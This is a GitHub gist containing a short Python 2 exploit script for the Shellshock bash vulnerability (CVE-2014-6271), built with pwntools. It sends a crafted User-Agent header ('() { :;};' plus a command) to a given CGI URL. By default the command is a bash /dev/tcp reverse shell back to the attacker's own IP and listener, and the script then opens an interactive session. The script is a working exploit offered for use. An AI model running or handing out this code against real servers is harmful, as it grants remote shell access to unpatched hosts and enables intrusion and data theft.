Last active
January 6, 2018 23:51
-
-
Save ebeip90/6c9c18755c693c0eace9 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# | |
# CVE-2014-6271 reverse shell | |
# | |
# Same as all the others, just showing off some pwntools. | |
# | |
# Usage: | |
# python shell.py http://host/cgi-bin/script.sh | |
# python shell.py http://host/cgi-bin/script.sh PORT=12345 | |
# | |
from pwn import * # pip2 install pwn | |
import unirest # pip2 install unirest | |
url = sys.argv[1] | |
ip = wget('http://icanhazip.com').strip() | |
l = listen(args['PORT'] or 0) | |
port = l.lport | |
command = args['COMMAND'] or '/bin/bash >& /dev/tcp/%(ip)s/%(port)s 0>&1' % locals() | |
log.info(command) | |
log.info(url) | |
unirest.USER_AGENT = '() { :;}; ' + command | |
unirest.get(url, callback=lambda x:0) | |
l.wait_for_connection().interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment